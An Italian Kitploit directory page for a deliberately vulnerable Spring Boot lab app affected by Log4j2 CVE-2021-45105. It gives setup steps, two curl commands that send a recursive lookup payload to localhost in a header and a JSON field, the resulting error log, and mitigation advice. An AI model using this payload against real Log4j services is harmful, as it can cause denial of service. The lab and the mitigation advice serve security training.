Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
https-github.com-pravin-pp-log4j2-CVE-2021-45105-1 — Applicazione Spring Boot di esempio volutamente vulnerabile a Log4j2 CVE-2021-45105 per esercitarsi nello sfruttamento e comprendere il denial-of-service da ciclo infinito tramite intestazioni HTTP modificate ad arte. | Kitploit
Strumenti/GitHubGitHub/dileepdkumar/https-github.com-pravin-pp-log4j2-cve-2021-45105-1
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubdileepdkumar/https-github.com-pravin-pp-log4j2-cve-2021-45105-1

https-github.com-pravin-pp-log4j2-CVE-2021-45105-1

Applicazione Spring Boot di esempio volutamente vulnerabile a Log4j2 CVE-2021-45105 per esercitarsi nello sfruttamento e comprendere il denial-of-service da ciclo infinito tramite intestazioni HTTP modificate ad arte.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
4 anni faNon ancora revisionato

Applicazione vulnerabile di esempio Log4j2 (CVE-2021-45105)

Versioni affette: tutte le versioni dalla 2.0-beta9 alla 2.16.0

Questa applicazione è basata su un'applicazione web Spring Boot vulnerabile a CVE-2021-45105

Utilizza Log4j 2.16.0

Esecuzione dell'applicazione

Eseguila:

root@kitploit:~
Importa il progetto in un IDE Java come progetto Maven

Esegui CVEMainApplication.java come app Spring Boot.

Passaggi per lo sfruttamento

  • Quindi, attiva l'exploit usando:
root@kitploit:~
Per GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


Per richiesta POST ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • Nota l'output che mostra un ciclo infinito, tuttavia nei test non si è riscontrato che questo DOS fosse dispendioso in termini di risorse poiché il programma ha identificato il ciclo infinito e ha generato un errore:
root@kitploit:~

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)

Mitigazione:

Gli utenti di Java 8 (o successivi) devono aggiornare alla release 2.17.0.

In alternativa, è possibile mitigarlo nella configurazione:

In PatternLayout nella configurazione di logging, sostituisci Context Lookups come ${ctx:loginId} o $${ctx:loginId} con i pattern Thread Context Map (%X, %mdc o %MDC). In caso contrario, nella configurazione, rimuovi i riferimenti a Context Lookups come ${ctx:loginId} o $${ctx:loginId} se provengono da fonti esterne all'applicazione come header HTTP o input utente.

Scarica lo strumento